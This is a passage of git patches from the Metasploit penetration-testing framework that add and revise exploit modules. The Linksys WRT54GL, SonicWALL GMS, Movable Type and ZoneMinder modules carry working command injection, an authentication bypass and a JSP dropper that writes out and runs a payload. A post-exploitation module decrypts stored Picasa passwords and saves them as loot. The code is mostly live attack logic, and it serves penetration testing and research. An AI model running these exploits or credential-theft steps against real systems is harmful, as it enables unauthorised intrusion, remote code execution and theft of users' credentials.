binary and exec it. + WARNING: Backup your network and dhcp configuration. We will overwrite it! + Have phun + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], + [ 'EDB', '24202' ], + [ 'BID', '57459' ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 18 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('VULNPATH',[ true, 'PATH to OS Command Injection', '/apply.cgi']), + OptString.new('USER',[ true, 'User to login with', 'admin']), + OptString.new('PASS',[ true, 'Password to login with', 'password']), + OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), + OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), + OptString.new('LANIP', [ false, 'LAN IP address of the router', '']), + OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), + OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), + OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), + ], self.class) + end + + def run + #setting up the needed variables + uri = datastore['VULNPATH'] + user = datastore['USER'] + rhost = datastore['RHOST'] + netmask = datastore['NETMASK'] + routername = datastore['ROUTER_NAME'] + wandomain = datastore['WAN_DOMAIN'] + wanmtu = datastore['WAN_MTU'] + + # using the RHOST for the correct lan IP settings + # WARNING: Attacks via the WAN IP are breaking the LAN configuration of the device! + if datastore['LANIP'] =~ // + ip = datastore['LANIP'].split('.') + else + ip = rhost.split('.') + end + + # not sure if this is a good way for blank passwords: + if datastore['PASS'] == "" + pass = "" + else + pass = datastore['PASS'] + end + + print_status("Trying to login with #{user} / #{pass}") + + user_pass = Rex::Text.encode_base64(user + ":" + pass) + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'headers' => + { + 'Authorization' => "Basic #{user_pass}", + } + }, 25) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + end + + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return :abort + end + + print_status("Sending remote command: " + datastore['CMD']) + + cmd = Rex::Text.uri_encode(datastore['CMD']) + #cmd = datastore['CMD'] + + data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + + if datastore['VERBOSE'] == true + print_line("using the following target URL: \n#{uri}") + end + + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'headers' => + { + 'Authorization' => "Basic #{user_pass}", + }, + 'data' => data_cmd, + }, 20) + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return :abort + end + print_status("Blind Exploitation - wait 5 seconds until the configuration gets applied\n") + print_status("Blind Exploitation - unknown Exploitation state\n") + end +end From 11c13500bed711f3d1e8e09aaa202e8799e3edb0 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 21 Jan 2013 13:41:42 +0100 Subject: [PATCH 13/87] small fix --- modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index e9f525b7ec..85d8c93afa 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary # using the RHOST for the correct lan IP settings # WARNING: Attacks via the WAN IP are breaking the LAN configuration of the device! - if datastore['LANIP'] =~ // + if datastore['LANIP'] !~ // ip = datastore['LANIP'].split('.') else ip = rhost.split('.') From eb92070df8f7068edbe4759b7d69cf3966dc7ff1 Mon Sep 17 00:00:00 2001 From: Julian Vilas Date: Tue, 22 Jan 2013 01:54:41 +0100 Subject: [PATCH 14/87] added module for CVE-2013-1359 --- .../multi/http/sonicwall_gms_upload.rb | 273 ++++++++++++++++++ 1 file changed, 273 insertions(+) create mode 100644 modules/exploits/multi/http/sonicwall_gms_upload.rb diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb new file mode 100644 index 0000000000..5e710b117d --- /dev/null +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -0,0 +1,273 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SonicWALL GMS Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in SonicWALL GMS. It exploits two + vulnerabilities in order to get its objective. An authentication bypass in the + Web Administration interface allows to abuse the "appliance" application and upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on + SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual + Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run + successfully while testing, shell payload have been used. + }, + 'Author' => + [ + 'Nikolas Sotiriu', # Vulnerability Discovery + 'Julian Vilas ', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1359'], + [ 'OSVDB', '89347' ], + [ 'BID', '57445' ], + [ 'EDB', '24204' ] + ], + 'Privileged' => true, + 'Platform' => [ 'win', 'linux' ], + 'Targets' => + [ + [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 17 2012')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/']) + ], self.class) + end + + def generate_jsp + var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) + var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) + var_data = Rex::Text.rand_text_alpha(rand(8)+8) + var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) + var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) + var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_counter = Rex::Text.rand_text_alpha(rand(8)+8) + var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) + var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) + var_comb = Rex::Text.rand_text_alpha(rand(8)+8) + var_exe = Rex::Text.rand_text_alpha(rand(8)+8) + @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) + var_proc = Rex::Text.rand_text_alpha(rand(8)+8) + var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) + var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) + + jspraw = "<%@ page import=\"java.io.*\" %>\n" + jspraw << "<%\n" + jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" + jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" + jspraw << "String #{var_data} = \"\";\n" + + jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" + jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" + jspraw << "}\n" + + jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" + jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" + + jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" + jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" + jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" + jspraw << "#{var_inputstream}.close();\n" + + jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" + jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" + jspraw << "{\n" + jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" + jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" + jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" + jspraw << "#{var_comb} <<= 4;\n" + jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" + jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" + jspraw << "}\n" + + jspraw << "#{var_outputstream}.write(#{var_bytes});\n" + jspraw << "#{var_outputstream}.close();\n" + + jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" + jspraw << "String[] #{var_fperm} = new String[3];\n" + jspraw << "#{var_fperm}[0] = \"chmod\";\n" + jspraw << "#{var_fperm}[1] = \"+x\";\n" + jspraw << "#{var_fperm}[2] = #{var_exepath};\n" + jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" + jspraw << "if (#{var_proc}.waitFor() == 0) {\n" + jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" + jspraw << "}\n" + # Linux and other UNICES allow removing files while they are in use... + jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" + jspraw << "} else {\n" + # Windows does not .. + jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" + jspraw << "}\n" + + jspraw << "%>\n" + return jspraw + end + + def get_install_path + res = send_request_cgi( + { + 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'method' => 'POST', + 'connection' => 'TE, close', + 'headers' => + { + 'TE' => "deflate,gzip;q=0.3", + }, + 'vars_post' => { + 'num' => '123456', + 'action' => 'show_diagnostics', + 'task' => 'search', + 'item' => 'application_log', + 'criteria' => '*.*', + 'width' => '500' + } + }) + + if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ + return $1 + end + + return nil + end + + def upload_file(location, filename, contents) + post_data = Rex::MIME::Message.new + post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"") + post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"") + post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") + + data = post_data.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => + { + 'TE' => "deflate,gzip;q=0.3", + }, + 'connection' => 'TE, close' + }) + + if res and res.code == 200 and res.body.empty? + return true + else + return false + end + end + + def check + @peer = "#{rhost}:#{rport}" + @uri = normalize_uri(target_uri.path) + @uri << '/' if @uri[-1,1] != '/' + + if get_install_path.nil? + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def exploit + @peer = "#{rhost}:#{rport}" + @uri = normalize_uri(target_uri.path) + @uri << '/' if @uri[-1,1] != '/' + + # Get Tomcat installation path + print_status("#{@peer} - Retrieving Tomcat installation path...") + install_path = get_install_path + + if install_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") + end + + print_good("#{@peer} - Tomcat installed on #{install_path}") + + if target['Platform'] == "linux" + @location = "#{install_path}webapps/appliance/" + elsif target['Platform'] == "win" + @location = "#{install_path}webapps\\appliance\\" + end + + + # Upload the JSP and the raw payload + @jsp_name = rand_text_alphanumeric(8+rand(8)) + + jspraw = generate_jsp + + # Specify the payload in hex as an extra file.. + payload_hex = payload.encoded_exe.unpack('H*')[0] + + print_status("#{@peer} - Uploading the payload") + + if upload_file(@location, "#{@var_hexfile}.txt", payload_hex) + print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt") + else + fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload") + end + + print_status("#{@peer} - Uploading the payload") + + if upload_file(@location, "#{@jsp_name}.jsp", jspraw) + print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp") + else + fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp") + end + + print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") + res = send_request_cgi( + { + 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", + 'method' => 'GET' + }) + + if res and res.code != 200 + print_warning("#{@peer} - Error triggering the payload") + end + + register_files_for_cleanup("#{@location}#{@var_hexfile}.txt") + register_files_for_cleanup("#{@location}#{@jsp_name}.jsp") + end + +end From 4740cb09a168219894672a8fae0a532fcbf73b1f Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Tue, 22 Jan 2013 02:56:43 -0500 Subject: [PATCH 15/87] Fix NoMethodError if handler has no ParentModule db.rb assumes that multi/handler sessions have a ParentModule defined in their datastore. This assumption breaks when a user sets up a multi/handler by hand to receive a session from another user (e.g., via multi_meter_inject). When db.rb tries to access a member of a nil ParentModule, a stacktrace is dumped to framework.log. --- lib/msf/core/db.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index a8cfe55431..7e0bc736ba 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -679,8 +679,8 @@ class DBManager # In the case of multi handler we cannot yet determine the true # exploit responsible. But we can at least show the parent versus # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] end s = ::Mdm::Session.new(sess_data) @@ -696,9 +696,9 @@ class DBManager mod = framework.modules.create(session.via_exploit) - if session.via_exploit == "exploit/multi/handler" - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + mod_fullname = sess_data[:datastore]['ParentModule'] + mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name else mod_name = mod.name mod_fullname = mod.fullname @@ -720,7 +720,7 @@ class DBManager vuln = framework.db.report_vuln(vuln_info) - if session.via_exploit == "exploit/multi/handler" + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else via_exploit = session.via_exploit From cd29a88c18482300d06eec75c588ac7aaf0a8f45 Mon Sep 17 00:00:00 2001 From: Kacper Nowak Date: Tue, 22 Jan 2013 11:58:24 +0000 Subject: [PATCH 16/87] added Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution --- .../multi/http/movabletype_upgrade_exec.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/multi/http/movabletype_upgrade_exec.rb diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb new file mode 100644 index 0000000000..1ede213008 --- /dev/null +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +### +# +# The vulnerability arises due to the following properties: +# +# 1: This script may be invoked remotely without requiring authentication to any MT +# instance. +# +# 2: Through a crafted POST request, it is possible to invoke particular +# database migration functions (i.e functions that bring the existing database +# up-to-date with an updated codebase) by name and with particular parameters. +# +# 3: A particular migration function, core_drop_meta_for_table, allows a class +# parameter to be set which is used directly in a perl eval statement, allowing +# perl code injection. +# +### + +class Metasploit4 < Msf::Exploit::Remote + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution', + 'Description' => %q{ + This module can be used to execute a payload on MoveableType (MT) + thatexposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), + that is used during installation and updating of the platform. + }, + 'Author' => + [ + 'Kacper Nowak', + 'Nick Blundell', + "Gary O'Leary-Steele", + ], + 'References' => + [ + ['CVE', '2012-6315'], + ['URL', 'http://www.sec-1.com/blog/?p=402'], + ], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Platform' => + [ + 'win', + 'unix' + ], + 'Targets' => + [ + ['Movable Type 4.2x, 4.3x', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 08 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('RPATH', [true, 'The URI path of the Movable Type installation', '/mt']) + ], self.class) + end + + def check + @peer = "#{rhost}:#{rport}" + fingerprint = rand_text_alpha(5) + print_status("#{@peer} - Sending check...") + begin + res = http_send_raw(fingerprint) + rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout + return + end + if (res) + if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) + return Exploit::CheckCode::Vulnerable + elsif (res.code != 200) + return Exploit::CheckCode::Unknown + else + return Exploit::CheckCode::Safe + end + end + end + + def exploit + @peer = "#{rhost}:#{rport}" + print_status("#{@peer} - Sending payload...") + http_send_cmd(payload.encoded) + end + + def http_send_raw(cmd, timeout=20) + path = normalize_uri(datastore['RPATH']) + '/mt-upgrade.cgi' + send_request_cgi( + { + 'uri' => path, + 'method' => 'POST', + 'vars_post' => + { + '__mode' => 'run_actions', + 'installing' => '1', + 'steps' => %{[["core_drop_meta_for_table","class","#{cmd.gsub('"', '\"')}"]]} + } + }, timeout) + end + + def http_send_cmd(cmd) + print_status(cmd) + pay = 'v0;use MIME::Base64;system(decode_base64(q(' + pay << Rex::Text.encode_base64(cmd) + pay << ')));return 0' + print_status(pay) + http_send_raw(pay, 0.5) + end +end From 08a5f467b18524efc4cd259cb2ec796bee703881 Mon Sep 17 00:00:00 2001 From: Kacper Nowak Date: Tue, 22 Jan 2013 12:14:38 +0000 Subject: [PATCH 17/87] added URL for developer site --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 1ede213008..a6fc2c99cc 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -46,6 +46,7 @@ class Metasploit4 < Msf::Exploit::Remote [ ['CVE', '2012-6315'], ['URL', 'http://www.sec-1.com/blog/?p=402'], + ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] ], 'Arch' => ARCH_CMD, 'Payload' => From 970591a85ff1fded9af62b3667e6d3079226f340 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 22 Jan 2013 22:56:50 +1030 Subject: [PATCH 18/87] Add ZoneMinder arbitrary command execution exploit --- .../webapp/zoneminder_packagecontrol_exec.rb | 148 ++++++++++++++++++ 1 file changed, 148 insertions(+) create mode 100644 modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb new file mode 100644 index 0000000000..c405327ab0 --- /dev/null +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -0,0 +1,148 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ZoneMinder Video Server packageControl Command Execution', + 'Description' => %q{ + This module exploits a command execution vulnerability in ZoneMinder Video + Server version 1.24.0 to 1.25.0 which could be abused to allow + authenticated users to execute arbitrary commands under the context of the + web server user. The 'packageControl' function in the + 'includes/actions.php' file calls 'exec()' with user controlled data + from the 'runState' parameter. + }, + 'References' => + [ + ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'], + ], + 'Author' => + [ + 'Brendan Coles ', # Discovery and exploit + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'BadChars' => "\x00", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash', + }, + }, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Jan 22 2013", + )) + + register_options([ + OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), + OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), + OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/']) + ], self.class) + end + + def check + + peer = "#{rhost}:#{rport}" + base = target_uri.path + base << '/' if base[-1, 1] != '/' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) + data = "action=login&view=version&username=#{user}&password=#{pass}" + + # login and retrieve software version + print_status("#{peer} - Authenticating as user '#{user}'") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'cookie' => "#{cookie}", + 'data' => "#{data}", + }) + if res and res.code == 200 + if res.body =~ /ZM - Login<\/title>/ + print_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Unknown + elsif res.body =~ /v1.2(4\.\d+|5\.0)/ + return Exploit::CheckCode::Appears + elsif res.body =~ /<title>ZM/ + return Exploit::CheckCode::Detected + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def exploit + + @peer = "#{rhost}:#{rport}" + base = target_uri.path + base << '/' if base[-1, 1] != '/' + cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + data = "action=login&view=postlogin&username=#{user}&password=#{pass}" + command = Rex::Text.uri_encode(payload.encoded) + + # login + print_status("#{@peer} - Authenticating as user '#{user}'") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'cookie' => "#{cookie}", + 'data' => "#{data}", + }) + if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/ + fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + print_good("#{@peer} - Authenticated successfully") + + # send payload + print_status("#{@peer} - Sending payload (#{command.length} bytes)") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'data' => "view=none&action=state&runState=start;#{command}%26", + 'cookie' => "#{cookie}" + }) + if res and res.code == 200 + print_good("#{@peer} - Payload sent successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + end + +end + From 8a59c7b8fb406dc9361545c7c8399de45da18605 Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Tue, 22 Jan 2013 12:31:40 +0000 Subject: [PATCH 19/87] removed extra print_status() calls --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index a6fc2c99cc..40764c27b9 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -117,11 +117,9 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_cmd(cmd) - print_status(cmd) pay = 'v0;use MIME::Base64;system(decode_base64(q(' pay << Rex::Text.encode_base64(cmd) pay << ')));return 0' - print_status(pay) http_send_raw(pay, 0.5) end end From 9671df44886b09db0fca58bb879b49f371f71abe Mon Sep 17 00:00:00 2001 From: Charles Smith <charles.smith@n2netsec.com> Date: Tue, 22 Jan 2013 15:46:47 -0500 Subject: [PATCH 20/87] Picasa 2 credentials are now also saved as loot This module used to save only Picasa 3 credentials as loot. Picasa 2 creds were displayed, but not saved. I've updated the module to save Picasa 2 credentials, and I also updated the output code to use print_good instead of print_status. --- .../gather/credentials/enum_picasa_pwds.rb | 72 +++++++++++-------- 1 file changed, 41 insertions(+), 31 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index ff188cd141..5ec210987d 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -70,8 +70,7 @@ class Metasploit3 < Msf::Post end def get_registry - psecrets = "" - + begin print_status("Looking in registry for stored login passwords by Picasa ...") @@ -80,24 +79,6 @@ class Metasploit3 < Msf::Post password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') - if username != nil and password != nil - passbin = [password].pack("H*") - pass = decrypt_password(passbin) - - if pass != nil - print_status("Username: #{username}") - print_status("Password: #{pass}") - secret = "#{username}:#{pass}" - psecrets << secret - end - end - - #For early versions of Picasa3 - username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaEmail') - password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaPass') - credentials = Rex::Ui::Text::Table.new( 'Header' => "Picasa Credentials", 'Indent' => 1, @@ -106,27 +87,56 @@ class Metasploit3 < Msf::Post "User", "Password" ]) + + + foundcreds = 0 + if username != nil and password != nil + passbin = [password].pack("H*") + pass = decrypt_password(passbin) + + if pass != nil + print_status("Found Picasa 2 credentials.") + print_good("Username: #{username}\t Password: #{pass}") + + foundcreds = 1 + credentials << [username,pass] + + end + end + + #For early versions of Picasa3 + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", + 'GaiaEmail') + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", + 'GaiaPass') + if username != nil and password != nil passbin = [password].pack("H*") pass = decrypt_password(passbin) if pass != nil - print_status("Username: #{username}") - print_status("Password: #{pass}") + print_status("Found Picasa 3 credentials.") + print_good("Username: #{username}\t Password: #{pass}") + foundcreds = 1 credentials << [username,pass] - path = store_loot( - "picasa.creds", - "text/csv", - session, - credentials.to_csv, - "decrypted_picasa_data.csv", - "Decrypted Picasa Passwords") - - print_status("Decrypted passwords saved in: #{path}") end end + + if foundcreds == 1 + path = store_loot( + "picasa.creds", + "text/csv", + session, + credentials.to_csv, + "decrypted_picasa_data.csv", + "Decrypted Picasa Passwords") + + print_status("Decrypted passwords saved in: #{path}") + else + print_status("No Picasa credentials found.") + end rescue ::Exception => e print_error("An error has occurred: #{e.to_s}") From 8c86c49d43c871d5e1e753f47f343e8483c141dd Mon Sep 17 00:00:00 2001 From: Raphael Mudge <rsmudge@gmail.com> Date: Tue, 22 Jan 2013 22:48:16 -0500 Subject: [PATCH 21/87] Armitage 01.23.13 This update to Armitage adds the ability to assign labels to 